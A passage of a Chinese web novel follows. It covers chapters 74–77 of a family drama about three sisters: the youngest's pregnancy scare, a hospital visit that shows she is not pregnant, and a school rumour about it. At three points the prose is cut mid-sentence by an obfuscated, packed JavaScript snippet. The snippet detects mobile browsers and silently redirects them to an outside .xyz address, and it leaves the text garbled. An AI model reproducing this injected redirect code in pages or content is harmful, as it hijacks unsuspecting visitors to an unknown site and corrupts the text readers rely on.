白瑾瑜多久没有体会过这一种依靠了,近乎忘记了这世上还有她可以依靠的人。当下鼻子发酸,忍不住滚落两滴眼泪,沁到孟西洲肩膀处的西装面料里。 她自己倒嫌哭鼻子丢人,吸了两下鼻子,又睁大了眼睛猛眨几下,硬是将眼泪止住了。微微颤抖着嗓音问:“你听到了,瑾琪说我爱控制别人,你呢?你也这么觉得吗?” 其实在她吸鼻子的时候,已经泄露了哭腔,但孟西洲只假装不知道,慢悠悠地回答道:“她还太小了,因为自己的能力太有限,才会觉得处处受人掌控。我可不同,我这么大一个人,还没有自己思考判断的能力吗?设若轻易就能受你的控制,那也未免太小看我。不过——” 他拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913867|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着音调,把怀里的白瑾瑜更加抱紧了一点,“即便在感情上受你一点牵制,你又怎知我不是心甘情愿的?” 白瑾瑜一下说不出话来,眼眶似乎又潮湿了,将脸埋在他胸口默默了良久,才闷闷地说了一句:“你不知道,那小东西闯了多大的祸!”那口气虽有些咬牙切齿,比起刚才,已然冷静不少了。 孟西洲“嗯”了一声,也不问是什么祸,只说:“管教小孩子,总是要操很多心,谁让我们瑾瑜是个好姐姐。站在我的角度,为着我的女友是个好姐姐,她有什么需要,我都很愿意相帮。” 从胸口捧起她的脸,拇指熨过她微微泛红的眼下肌肤,故意逗她开心似的道:“你不也说,你们老三是个感情充沛的‘艺术家''吗?你带着一肚子火气和她谈话,她非但听不进去,情绪上来了,更要用她充沛的感情来淹没你了。到时候,问题没有解决不说,你还未必能吵的赢她。” 见白瑾瑜的嘴角总算弯了一弯,拇指食指微微用一点力,在她脸上轻捏了一下。 白瑾瑜还从没被人这样摆弄过,不大习惯,拨开他的手轻哼了一声,道:“我何必非要吵赢她?” 对于她的好胜心,孟西洲看破不说破,又顺了两下她的后背,这才松开怀抱。在客厅中央的皮沙发上施施然地坐下,望着她道:“你们家里的事,我不便参与。不过我就坐在这里,要是谈得不好,你下来,我们再商量办法。” 语言真有一种无形的力量。 白瑾瑜站在二楼白瑾琪的房门外,一想到马上要和这个不让人省心的妹妹谈话,心里固然烦躁;可再想到孟西洲就守在楼下,自己有这一张后盾,不拘什么麻烦,总可以一道想法子解决,心里的急躁,也就平缓下来。 伸手敲了敲房门。 里头的人似乎哼哼唧唧了一声,随后又没了动静。 白瑾瑜等了几秒钟后,径自把门扭开了。看见白瑾琪盖了被子蜷坐在床上,一双惊慌的眼睛飞快地闪躲开,又愧疚又委屈似的,咬着嘴唇默不吭声。 这副可怜兮兮的样子,好像自己张口就会骂她似的。 白瑾瑜在心里哼了一声,轻手轻脚关上门后,拿了把椅子远远地坐下了。平静地发问道:“到底怎么回事?孩子是谁的?同学?” 白瑾琪蜷着的身子抖了一抖,细声细气地“呜”了一声,又抽噎着吸起鼻子来,“不当心的......” 白瑾瑜无力到了极点,甚至有点想要发笑:“我看你胆大得很,这也能不当心吗?”叹了口气,又问,“这么大的事,为什么不和我说?我不比你母亲更靠谱吗?” 孟西洲的话,她听进去了,是以说话的口吻很淡也很慢,并不为发一顿脾气,似乎只是心平气和地想讨一个答案。 白瑾琪受这平和气氛的影响,终于抬起头来望了白瑾瑜一眼,眼睛一眨,睫毛便又沾上了泪珠,小猫似的嘤咛道:“我不敢......我、要是告诉你我犯了这样大的错,你会不会更瞧不上我呢?” 74. 第 74 章 白瑾璎在蒋公馆的客房里睡了一晚,因为喝多了酒的缘故,第二天起来时还觉得混陶陶的。 好在蒋牧城很周全,公馆里的东西也都一应俱全,连换洗的衣物,都可以直接拿蒋牧城的姐姐搁在家里的新衣服穿。唯其蒋小姐是个摩登女子,衣服大多是颜色鲜亮的洋装,佣人们翻找了好一阵,才找出一身浅黄色带大花边领子的套裙。 白瑾璎换好了衣服坐下梳头,心里却慌乱地打着鼓。 昨天半夜里她醉酒醒了,听见蒋牧城说自己“太可怜”,后来怎么样了呢? 白瑾璎记得自己并没有松开手,任凭蒋牧城将她的手握着,甚至勾着手指,也轻轻地回握住了他,小声地说:“你才不可怜......”她也不忍心让他可怜啊。 蒋牧城的眼底亮起幽光,定定地望着她,嘴角却挂着一抹苦笑似的,低声道:“我不可怜吗?我想求一样事物,却怎么也求不到。”由他目光之所向看来,这样东西是什么,简直不言而喻。 白瑾璎被他盯得脸颊滚烫,也不知道是醉意,还是羞意,只好把半边脸颊埋进枕头里,闷闷地发声道:“......你怎么知道没有求到呢?” 她不敢看蒋牧城,故而只听见头顶传来很轻的一声笑,继而床边一陷,是蒋牧城起身坐了过来。他伸手过来,手背贴了贴白瑾璎的额头脸颊,似乎是在探她脸上的温度,问道:“那么,我是求到了?” 白瑾璎很不好意思,又为他戏弄人似的明知故问感到很委屈似的,赌气道:“求来干嘛呢,也没有什么用......” 蒋牧城的手本来就探在她的脸颊边,当下伸出食指抵住她的嘴唇,“嘘”了一声道:“胡说。什么没用,你不知道我有多喜欢。” 昏暗寂静的夜里,谁都把声音压得低低的,加上蒋牧城的手松开她后,一直隔着被子在她背上轻拍着。醉意再添温情,那就更催发出困倦了,这之后不多久,自己便迷糊着睡了过去。 白瑾璎望着镜子里的自己,猛地站起身,在房间里踱起步来。来来回回好几圈,摇曳不停的心才稍稍平定下来,鼓起勇气下楼去了。 餐桌旁,蒋牧城早已经坐定,看见人下来了,目光在她身上停留了许久,才让听差把热粥小菜端上来。望着白瑾璎微笑道:“好漂亮。”又问,“头疼吗?等下吃完早饭,要不要去公园里散一散心?” 白瑾璎拿勺子搅着热粥,摇了摇头,腼腆道:“不疼,我想早点回家去,也不知道家里是什么情况,我昨晚临阵逃跑,够没有责任心了。” 蒋牧城便说:“那好,一会儿我送你回去。吃吧。” 白瑾璎向他微笑一下,这就是同意了。 只是用饭到一半,蒋牧城又开口:“你的衣服,佣人已经拿去洗了,恐怕一时片刻也干不了。我的意思是,干脆就放在我这里,万一你以后过来,也可以用得上。” 白瑾璎心里一跳,险些被咽到一半的粥呛着,讷讷地“哦”了两声,多余的一句也不敢说。 蒋牧城抿着嘴唇,倒像有些不满意似的,但也没有咄咄逼人地追问。直到两人安静地用完了早饭,彼此站起来的时候,他才几个大步抢到白瑾璎的身边,手掌虚握住她的胳膊道:“瑾璎,为防万一,我还是要确认一句。昨晚说的话,你还记得吧?” 白瑾璎即便没有回头,也能感受到那灼灼的目光此刻正落在自己身上。 为着这一句话,顿时又心跳如雷,两颊飞红。可饶是如此,还是转过身,挽了一下他有力的小臂,抿着微笑说:“当然记得,你才是不要忘了。” 如果说直到刚才,蒋牧城的动作都是很克制的,在这句答复之后,便好像越过了一道界线,顷刻间变得不同了。他的神态整个柔和下来,手臂环过白瑾璎的腰肢,一个郑重的吻便落在了额头上。 蒋牧城抱着她叫了一声“瑾璎”,也不说什么事,沉沉地发着笑意,又念道:“瑾璎。” 白瑾璎简直觉得他有一些粘人,但是初初确定关系,这似乎又是可以理解的。脉脉地依偎了一会儿,想到家里白瑾琪的事还有待解决,又生出惭愧之情,催着蒋牧城送自己回家。 想不到刚走出蒋牧城的洋楼,远远便看见一辆洋车由大门的方向开了进来。同时,一个听差跑过来报告道:“先生,白小姐来了,说来接人哩!” 那车开到近前停下,里头的人拉开了侧窗上挂的漏雪纱,果然露出白瑾瑜一张明媚的脸,想不到她是亲自开了车过来的。 再说白瑾瑜,一路开车过来的时候,心情是很舒朗的。 她昨晚和白瑾琪深谈了足有一个多钟头,才惊觉彼此之间,有许多相互误解或蒙昧之处,譬如自己何时对白瑾琪瞧不上眼了?再看白瑾琪对她的看法在意至极,倒像是很崇拜自己的样子。而后,又听白瑾琪说,很怕让自己和白瑾璎的名声受累,她顿时又感到动容欣慰,觉得这个小孩子,并不是不懂事的呀,心里有再大的气,也都消了。 至于她肚子里的孩子,那是小事,既然瑾琪自己也不要,到正规的大医院里拿掉就是。 倒是害孟西洲在楼下等了许久,走的时候,都是午夜的钟点了。 不过今早出门前,他倒是又挂了个电话来,知道这边已没事了,便半开玩笑地讨要“嘉奖”,道:“我虽然不敢自称‘功臣'',要一点奖励,并不为过吧?我昨晚都没有睡好,越想,越觉得自己在你眼里不大值钱。” 委委屈屈地玩了一个手段,让白瑾瑜答应了“补偿一二”,才互道了再见。 白瑾瑜的心情固然舒畅,但在看见蒋牧城的手牢牢地牵着白瑾璎时,尽管心里已料到了有此进展,到底觉得被这一幕扎到了眼睛。 是以白瑾璎一坐进副手座,她也不给这一对小鸳鸯再说上两句的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919234|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便急匆匆地将汽车发动起来了。一转头,见白瑾璎的目光看向车外,和蒋牧城很惜别的样子,忍不住酸道:“别看了,他昨晚上没有极力地凑过来,让你看个够吗?” 视线又落回到她身上,哼了一声,“他还让你换衣服了?” 白瑾璎屡屡被她说中羞窘之处,当下收回目光很规矩地坐好,辩解说:“是我自己换的......”看到白瑾瑜脸上揶揄的神态,立刻窘得说不下去了。 还是白瑾瑜先破功地大笑起来,道:“我不逗你了,还是先说老三的事吧。我今天不用司机,自己开了车来,就是想单独告诉你,不让别人听到。” 白瑾璎当下无暇他顾,愧疚道:“是,我昨天当了一回逃兵,把这一堆麻烦事都留给了你,是我的不对。” 白瑾瑜向她微笑一下,说:“你有什么事,一向喜欢憋在心里不说,要不是你昨天‘逃''了这一下,我还不知道,你的精神也要被压垮了。是以看你发泄出来,我心里反倒松一口气。” 这话非但没有责备的意思,相反全是安慰,又怕她心里的内疚作祟,故意夸张地叹气道:“唉,谁让我是家里最大的姐姐,底下小的有什么事,我怎么能不管一下?等瑾琪的事完了,很快就轮到你了。” 白瑾璎一双满含着动容的眼睛,简直没法从白瑾瑜身上移开,半晌才开口追问:“瑾琪的事怎么样了呢?我看你心情不坏的样子,结果总不会太差吧?” 白瑾瑜沉吟了一下,道:“瑾琪的事,有好有坏,不过在我看来,坏的那一部分,完完全全是可以补救的。” 说罢,将白瑾琪古怪行迹的缘由,都简略讲了讲,又说,“你就当我和她是吵架讲和了,她怀孕的事,你装不知道就好。别看她平时张牙舞爪的,心里承受的压力,也是不小。” 白瑾璎真想不到陈芳藻事件的背后,还藏了这样一件大事!一面觉得白瑾琪实在是胆大胡来,什么都敢瞎尝试;一面又感慨她重重思虑之下的不易,不知有多惊惧无措。 只是事情已经发生了,再去追究对错,就没有意义,只能从好的方面去想罢。 于是思忖着道:“我、我也不知说什么好......好在发现得早,瑾琪也没有真的糊涂到在那小诊所做手术。唉,望她跌了这个跟头,往后都能引以为戒,在感情这件事上谨慎一点。” 白瑾瑜听着,很有趣味地瞥了她一眼,道:“谨慎一点?像你一样的谨慎吗?我看,你就是谨慎太过了,最好把瑾琪的胆子分给你一点,那就——” 她本来只是随口玩笑一句,觉得以白瑾璎的年龄,也是时候淌一淌爱情之河了。但猛地想到在瑾璎上车之前,蒋牧城把她的手牵得,牢得和什么也似,心里又是一沉:再谨慎有什么用?架不住精明的猎人就蹲守在边上,寻一个间隙,到底把这块肉剜走了! 想到这里,心气儿又不大顺了。 75. 第 75 章 椿樟街转眼就到,白瑾璎一走进家门,原本乖巧坐在沙发上等的白瑾琪便一路小跑过来,小兽似的往她怀里扑,又可怜兮兮地喊了她一声“姐姐”,向她求和。 白瑾璎本来也不怪她,毋宁说她自己还带了点愧疚的心理,顺着她的背道:“既然说开了,那就没事了,有什么困难,咱们总能一道解决。” 当务之急要解决的,就是自己肚子里的东西了。 白瑾瑜昨晚已经向自己打了保票,白瑾琪倒不是不相信她,这个姐姐一向言出必行,有她一句话,等于有了七成的底气,只是她自己还是个小孩呢,就要去弄走肚子里的小孩,哪儿有不怕的。 白瑾琪靠在白瑾璎的怀里,一双湿漉漉的眼睛不由得看向后进门的白瑾瑜,见她很沉着地含着微笑向自己点了点头,既有“我很守约定,没有把你怀孕的事告诉瑾璎,放心放心”的意思,又像在说一切有她,你肚子里的孩子,也不光是你一个人的事。 不啻于给她喂了一颗定心丸,心里总算安定一点。 姐妹三个总算又和和气气地聚在一起,虞妈激动得几乎要拿出帕子来抹一抹眼泪了,当下迎出来道:“回来就好,都回来就好。今天早上都没准备什么,尤其是大小姐,没吃几口就出门接人去了,折腾一个早上,哪儿有不饿的。不如中饭就早一点摆吧?” 说着,已经让吴妈把热气腾腾的饭菜端上了桌。 中午的菜色格外丰盛,尤其中间一锅玉米排骨汤,是从早上就炖起来的。除了有表示庆祝的意思,也是白瑾瑜昨晚特意叮嘱过她,要做些有营养的。 虞妈倒没有多想,只觉得很应该如此,看昨天她们昨晚吵成那样,又是发急又是哭喊,眼泪不要钱似的抛。都说“十滴血生一滴汗,十滴汗生一滴泪”,哭是很伤精神的哩! 白瑾瑜早上接人心切,现在真是饿了,也就不客气,径自在桌边坐下。同时指了正中的位置对白瑾琪道:“你坐这儿。”这位子正对着一盘大虾和鲜香的排骨汤,方便她多夹多吃。 设若真要去医院做打胎的手术,不把身体养好可不行,总之决不能像她前段时间那样节食少吃。 再看另一个妹妹。白瑾璎早上呆在蒋公馆,姓蒋的决计对她大献殷勤,恐怕是吃得饱饱的才放她出来,便对白瑾璎道:“现在离早饭时间不过多久,你大概还不饿,就陪着我们随便吃一点吧。” 话是这样说,心里却老大不舒服,不由得又想起一件以前的事来。 那还是没有解除婚约的时候,姓蒋的为着应付他母亲,点卯似的,时不时要上她们家做客。在她这一边呢,受了白齐盛一顿教训后,只能露面接待,偏偏心里恨得牙痒痒,便带上白瑾璎一起,至少在人数上占据优势。 可想而知,那气氛有多么冷多么坏。 连白瑾璎这个安安静静写作业的人,都难免受到影响,在白瑾瑜冲着对面这个道貌岸然的人发出冷笑的时候,小心翼翼地抬头往两边各瞅一眼,生怕他们在家里大吵起来。 因为是在自己家,白瑾瑜很有主场意识,自顾自写信或者看杂志,间或和旁边的白瑾璎闲聊几句,彻底将蒋牧城晾在一边。心里望他识趣一点,能自己走开。 想不到几次过后,倒给她看出一点端倪来——何以这姓蒋的能一言不发地坐一个钟头,可每每在瑾璎说完话后,就要试图去接话呢?何以瑾璎的作业一写完,他就很自发地伸手接过来,给她检查呢? 白瑾瑜心里存了疑问,有一回,故意在白瑾璎写作业的时候,把她一绺头发绕在手里把玩。果然,蒋牧城的目光总是隐隐落在自己手上,眉头也微微地拧着。 白瑾瑜心里顿时明了:原来姓蒋的不是来膈应她,是来和她抢东西了!真是好大的胆子! 她心里的火气压不住,手上难免失掉分寸,不当心把白瑾璎扯疼了,闷闷地哼了一声。白瑾瑜自己也是一惊,立刻松开手,又去给她按揉那一块头皮,搞得白瑾璎很不好意思似的,理着头发说:“没关系。” 当事人自己都说没关系了,却有别人替她打抱不平。 平时沉默是金的蒋牧城瞪了白瑾瑜一眼,冷着脸道:“你坐着就坐着,做什么乱动别人?” 此刻,白瑾瑜再看他,俨然已经像是在看敌人了,冷笑道:“我家里的人,我想怎么动就怎么动,你倒是想也动不了呢!” 这话一出口,对面人的脸色当即冷沉下去。白瑾瑜虽逞了口舌之快,但一想到姓蒋的狼子野心,非但不觉得痛快,一张脸也是阴沉沉的,竟不再恋战,像不当心露富的人急于藏起财宝似的,匆匆忙带着白瑾璎上楼去了。 就是从那一次开始,对蒋牧城抱起了防备的心思,可惜严防死守,还是没能够防住。 可话又说回来——白瑾瑜悄悄望了一眼对面的白瑾璎,心想,也许只有我一个人抱了反对的心思,这个漂漂亮亮的小人儿,未必不愿意呀。自己固然舍不得将她拱手让人,可一味地挤兑那姓蒋的,有什么用呢?人家刚好可以利用这一点,狠狠卖一通可怜! 她握了筷子,兀自纠结思忖着,另一边白瑾琪放下了悬着的心,反倒活泛起来。 一双黑葡萄似的眼睛在白瑾璎身上转了两圈,惊奇道:“咦,二姐姐,你这衣服是新买的吗?没见你穿过这样带大花样的洋装呢,真好看。” 说到一半,猛然想到白瑾璎昨晚是由蒋牧城接走照顾的,走的时候别说皮包手袋了,连外衣都没有带,今天又是白瑾瑜一早去接的人,那这衣服只能是——她像是领悟到了什么,抿着嘴偷笑起来,小声问白瑾璎道:“那你和蒋二哥,这就算在一起了?” 不等白瑾璎回答,先听到白瑾瑜老大不满意地哼了一声。 白瑾琪刚好伸筷子夹了一只顶大的虾,还没挨上碗里的米饭,就被 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实则她心里倒是挺赞成——蒋二哥和自己这个二姐姐,一看就顶适合和知根知底的人谈爱情,现在虽然差一点,可从前也算是门当户对,多么般配!何况两个人都排行老二,这也是一种缘分呀! 就是蒋二哥从前大姐夫变成了未来的二姐夫,实在一种电影里才有的戏剧性。 不过自己横竖管他叫“姐夫”,也就是了。 白瑾琪当然不敢把这个“戏剧性”分享给白瑾瑜,一吃完饭,就小尾巴似的蹭到她身边,悄悄伸手比了自己的肚子,试探地问道:“我们什么时候去......” 白瑾瑜似乎早考虑好了,点一点头道:“今天下午就带你去医院,不过你现在这样子可不行,我得给你做一做伪装。” 说着,把她拉去房间,换了一身白瑾璎的素色长裙,把头发盘在脑后梳了一个髻不说,又描了眉毛,往脸上扑了厚厚一层香粉。这一番倒腾,直把小姑娘的灵动掩盖住八分,改作一副半青不熟的气质。 白瑾琪照了照镜子,还怪不满意哩,扯着寡淡的衣服嘟囔:“真难看,我活像老了十岁。” 白瑾瑜却很满意,和虞妈知会了一声,便领着她出门了。 汽车一路开去了就近的大医院,在走进大门时,白瑾琪便又感到不自在了,那种做了错事的心虚羞耻再次冒出头来,仿佛周围人无形的目光,又爬满了脊背。 她跟在白瑾瑜的身后,几乎无暇去看各个科室的标牌,只管跟着眼前的人走。而白瑾瑜的步态是很从容的,脊梁挺直,仿佛在父亲丧礼后也有那么一瞬间,自己从这纤秀挺拔的背影上,汲取到过巨大的力量。 妇科诊室终于到了,门口的看护士递来一本册子请她们做登记。 白瑾琪不由得打一个寒噤,下意识把冰凉发僵的手背到了身后。想不到白瑾瑜根本也没有看她,径自拿起笔签了自己的名字,对那看护士说:“我陪朋友来做一个检查,这就进去了。” 76. 第 76 章 诊室里,依旧是一位女大夫坐诊。抬头望了她二人一眼,见两个都是青春美丽的女子,一时倒有些搞不清楚,问了句:“是哪一位要做检查?” 白瑾瑜拍了拍白瑾琪的肩膀,后者也就怯怯地走上前几步,说:“是我。”手指紧张地缠在一起,一张桃心的小脸低低地埋着。 她虽然往年长了去打扮,但到底年纪和阅历摆在那里,眼睛里的稚气是藏不住的。那女大夫在医院里见过形形色色的人,兴许在她身上觉察出这一种矛盾,略带试探地问:“你小姐看着年纪不大,这么早就决定要孩子了吗?” 白瑾琪被问得一懵,还来不及做出反应,白瑾瑜懊恼的声音已先她一步发话了,“可不是太早了吗!我这个朋友,从前我就劝她不要心急,不要结婚,可她不听我的呀。结果她先生待她很不好,自己伤心也就算了,再拖一个孩子,那不是造孽吗?你看,连今天怀孕做检查,她先生也不陪她来,还要我这个朋友来陪。” 又做出恶狠狠的样子,接着道:“告诉你吧,这个孩子,我是支持打掉的。不要觉得我这个当朋友的狠心,我是为着你长长久久的一辈子着想呢。” 说罢叹一口气,往旁边的椅子上一坐,甚至将头撇向一边,真对她这个“朋友”表示恨铁不成钢似的。 白瑾琪起初听着这套说辞,惊得都要找不着北了,但很快便领会过来——大姐姐是在和她演戏呢!现在她就不是“白瑾琪”,而是个结了婚被苛待,又不巧怀孕了的“好朋友”。 也不知怎么的,白瑾琪的紧张立时便消去一半,似乎换了个身份,那份紧张羞愧也都不属于自己了,甚至心想:大姐姐这是给我派了一个角色呢,我可得把她演好! 一想这些天来自己顶着的压力,一阵委屈劲儿上来,眼眶就半湿了,又强忍住心酸似的道:“别说了,我心里也后悔得很,可惜这世上是没有后悔药的。” 倒是白瑾瑜被她说来就来的眼泪怔了一怔,呆呆地望了她一眼,连下一句要接什么话都忘了,只顾着想:这个小妮子说喜欢艺术喜欢演戏,倒真不是说假的。 白瑾瑜虽没有接住这一场戏,但好歹那女大夫已然受了些感动,宽慰了一句:“可不是,如今不负责任的男子太多了,结了婚也没有做丈夫的样子,实在可恨。好了,你小姐先躺下吧。”手上拿过一旁的登记册,问:“你小姐叫白瑾瑜吗?” 白瑾瑜在边上插话道:“不是她,是我。她是从外省来的首都,登记我的名字方便些,往后不拘她来检查还是手术,我都陪着。如今的男子靠不住,我这个当朋友的要是再靠不住,那怎么行?” 那女大夫听了,倒是对她露了个微笑,说:“有你这样的朋友,那就不错。”说着,将听脉器戴到耳朵里,拿了圆形的那一头按在白瑾琪的肚子上听,可听了好一会儿都没有做声,反而拧起了眉头。 白瑾琪一颗心给悬到了高空似的,就怕从那大夫嘴里说出什么噩耗来,抖着声音问:“怎么了?不、不大好吗?” 那女大夫又换地方听了几下,这才摘了听脉器道:“你小姐是不是弄错了,我看你并没有怀孕啊。” 这句话非同小可,简直要把这一桩大事故,这段时间以来的憋闷争吵和眼泪,都定义为一场闹剧了!不说白瑾琪,连白瑾瑜都愣在了当场。好一会儿,白瑾琪才恍惚着呢喃了一句:“怎么会?” 那女大夫望了她一眼,说:“我是用仪器听的,还能有错吗?你小姐就是没有怀孕。”连神情也带上了无奈好笑,似乎在说“到底是年轻人,做起事来稀里糊涂的,连怀孕这样的大事也能弄错”。 还是白瑾瑜最先回过神来,激动地鼓了一下掌道:“太好了!这是老天保佑,你和孩子,谁也不用遭罪了!” 随后,在那女大夫的建议下,又带着白瑾琪去看了看胃肠科,说不规律的饮食或是情绪紧张,也会导致癸水不来。要是节食久了再大鱼大肉,难免就有恶心呕吐的症状,胃也是要出毛病的。 这之后,白瑾琪就跟被抽了魂的提线木偶似的,跟着白瑾瑜一连去了好几个诊室,医生说了什么,全然没听进耳朵,只有一个声音在脑子里远远近近地回响着:“你没有怀孕,都是你自己吓自己呢。” 这一颗忽上忽下悬了那么久的心啊,终于终于,这一次是彻底地落地了。 白瑾琪魂不守舍地被提溜了一路,坐回到车上后,再也忍不住,捂着脸嚎啕大哭起来。 这一场乌龙啊!这一场闹剧啊!为着这个莫名其妙臆想出来的孩子,自己担了多少害怕,咽了多少的眼泪,又看透了多少人心:郑家树没有担当,每每都回避自己的话题;陈芳藻没有责任,再一次抛下自己转身就走,最后还是只有—— 白瑾瑜坐在旁边,拿这个哭得涕泗横流的小妹妹没有办法。她当惯了运筹帷幄的角色,反而不太会温柔那一套,哄也不知道怎么哄,只能生硬地安慰了一句:“哭什么,这不是件好事吗?” 话还没说完,就觉得怀里一沉,原来是白瑾琪整个人扑到她怀里,干脆抱着她哭了。 白瑾瑜一时僵在原地,心里有一种说不出的滋味——她和白瑾琪,从来没有像这样拥抱过,毋宁说,她就不是可以轻易和别人拥抱的性格。回想她们从前的日子,不服气过吵闹过也针锋相对过,实实在在的,没有一刻像此刻这样彼此贴近过。 白瑾琪从前总说她更亲近白瑾璎,老是想把自己排挤出去。白瑾瑜扪心自问,这话其实没错,白瑾琪总归有一个陈芳藻,姐姐再亲近,还能比得过亲妈吗? 但现在她却真实地感受到,自己有着两个妹妹,手心与手背,哪个都重要。 在白瑾琪嚎哭一阵后,终于略显笨拙地抬起手,拍着这个小妹妹单薄的肩背道:“好了,没事了,我们可以回家了。” 白瑾琪这一哭,好比用眼泪把所有郁结的坏情绪都冲走了一般,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931650|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二天除了眼睛有点肿,整个人可谓精神焕发。此前对学校的恐惧情绪,也尽数没有了,雄赳赳气昂昂地踏进了校门。 但饶是她神经大条,还是觉察到周围的气氛不大对劲,似乎总有人在背后窥视指点她,随后又掩着嘴窃窃私语。在教室里是这样,到了戏剧社排练的时候,又是如此。 这件事要是放在两天前,白瑾琪一准心虚到崩溃的,可她如今正是甩开了最重的包袱,格外的坦荡磊落。当下在两个女学生说小话的时候,直截了当地问:“你们到底在说我什么?有什么意见,不如当了面大声提出来。” 那两个女学生想不到她如此直白大胆,一时倒愣了,双双憋红了脸说不出话来。 白瑾琪便不大高兴,拧着眉头道:“既然自己也知道是说不出口的话,那就不要说了,我瞧着也闹心。” 那女学生被白瑾琪撅了这一句,格外不服气似的,涨红了脸,很硬气地回嘴道:“我、我是说不出口呀,横竖我也做不出这样的事!” 为着她们说话的声音并不小,周围排练的学生大都停下了手上的事,要么伸长了脖子远远地观望着,要么干脆靠拢了围过来,个个脸上带着看热闹的神态,想必对于这件事,都是心知肚明的。 白瑾琪最厌烦受制于人了,谁要想控制她,即便是白瑾瑜她也敢对着干。干脆撇开那两个女学生不管,转而向周围的众人一摊手,道:“哪一位能来给我解惑呢?” 人群里安静了片刻,随即又骚乱片刻,终于有一个毕业班的女学生,端了很威仪的架子道:“白同学,有传闻说你怀孕了。最近这段时间你情绪低落,又被人瞧见过在厕所呕吐,都是因为怀孕的缘故,这是不是真的呢?” 大概是有了这个发言的领头羊,人群里顷刻间冒出许多附和的声音。 有的说:“这年头固然有人结婚很早,可就我所知,白同学还没有结婚吧?”又有人说:“这么多表征都对上了,我看八成是真的。这事儿多么不光彩,她倒好,还上赶着去问呢!” 一时间,拿什么眼色看白瑾琪的都有,连带着那两个女学生都觉得自己占理,将腰杆子挺直了一些。 戏剧社的正副两位社长,就是在那领头羊说话的时候走进礼堂的,等进到了人群的中心,那漫天或批判或讽刺的言辞,已如洪水一般淹没过来。胡小梦高举了手叫停道:“都安静!都安静!吵什么吵?把这里当做茶社吗?还要不要排练了!” 与她不同的是,郑家树呆立在白瑾琪几步开外的地方,一句话也说不出来。 想到此前白瑾琪也隐晦地向他提起过“怀孕”,心里又是震惊又是讶异,混杂着许多其他的情绪一股脑地冲向他。一时之间,一双眼睛,只管痴痴地盯着白瑾琪不放。 可惜白瑾琪并没有看他,她看的是藏身在人群里的程巧书,由她脸上那一种得逞又得意的表情,也可以知道这一场流言的始作俑者,就是她无疑了。 77. 第 77 章 仔细想想,程巧书会知道也不无可能。尽管她和郑家树的恋爱是私下进行的,但架不住程巧书把她当做眼中钉,时时刻刻地盯着她,难免有被她发现疏漏的时候。 坏就坏在,她自认为放出了最致命的一条谣言,想不到是假的。 白瑾琪一点儿不怕她,甚至没有做出愤怒委屈的样子,而是在心里回想白瑾瑜对付白齐昌时的姿态,模仿那一种凛凛然不可侵犯的威仪,冷哼了一声澄清道:“光凭这一点就造我的谣吗?告诉你们吧,我是为着新剧目的角色去节食,把胃给搞坏了。前阵子刚去看过肠胃科的医生,他写的病历和单据,我都还留着呢!” 她这话说得很冷硬,加之神情里还带着嘲笑轻蔑之色,戏剧社众人顿时哗然,窸窸窣窣地窃窃议论,没一个敢正面答复她。 白瑾琪黑亮的眼珠在人群里转了一圈,最终落到那毕业班的女同学身上,很强势地问:“你的问题,我回答你了,现在轮到我来问。你说我怀孕了,这话你是从哪儿听来的?” 那高年级女学生的脸色变了又变,到底露出一点难堪,说:“总归是我听别人说的,私下里议论的人并不少呀,你要问我的罪吗?” 白瑾琪冷笑了一声,目光锐利地盯牢了她,道:“问你的罪,那不至于,你就说从谁那里听来的就是了。你们平时捕风捉影,爱嚼别人的舌根子就算了,可这一次的造谣太大太严重了,简直就是诽谤污蔑!真当我不会发火吗!” 说到这里,脸色当即板下来,手里卷着的台词本子也重重地往桌子上一砸,大声道:“谣言总归有出处,我就一个一个地往下摸,非把这始作俑者揪出来不可!” 一句话掷地有声,若说刚才还有人窃窃私语,现在真是安静一片,小礼堂里有一个算一个,都是大气也不敢出。 早在白瑾琪声明搞坏了胃的时候,程巧书就在心里暗道不好,自己的计划,恐怕要宣告失败了。同时又惊疑不信,白瑾琪和郑家树的对话,自己可是偷听到了,怎么可能不是怀孕呢?! 等到白瑾琪说要追查的时候,程巧书才是真慌了。 她此前已经放出过一次白瑾琪与郑家树恋爱的谣言,可惜没能掀起什么风浪,这一次又阴差阳错地造谣太过,要是不巧真被揪出来,两罪并罚,自己的脸面和声誉,也不必要了!得赶紧有个人,将话题岔开才好! 只是要她自己做这只出头鸟,那是万万不可能的。 程巧书暗地里向旁边的钱瑞芝使眼色,可惜后者自己也是噤若寒蝉,有意避开了不接。她心里又气又急,伸手在钱瑞芝胳膊上重重地拧了一下,后者疼得几乎要跳起来,在这胁迫之下,只好战战兢兢地充当她的喉舌。 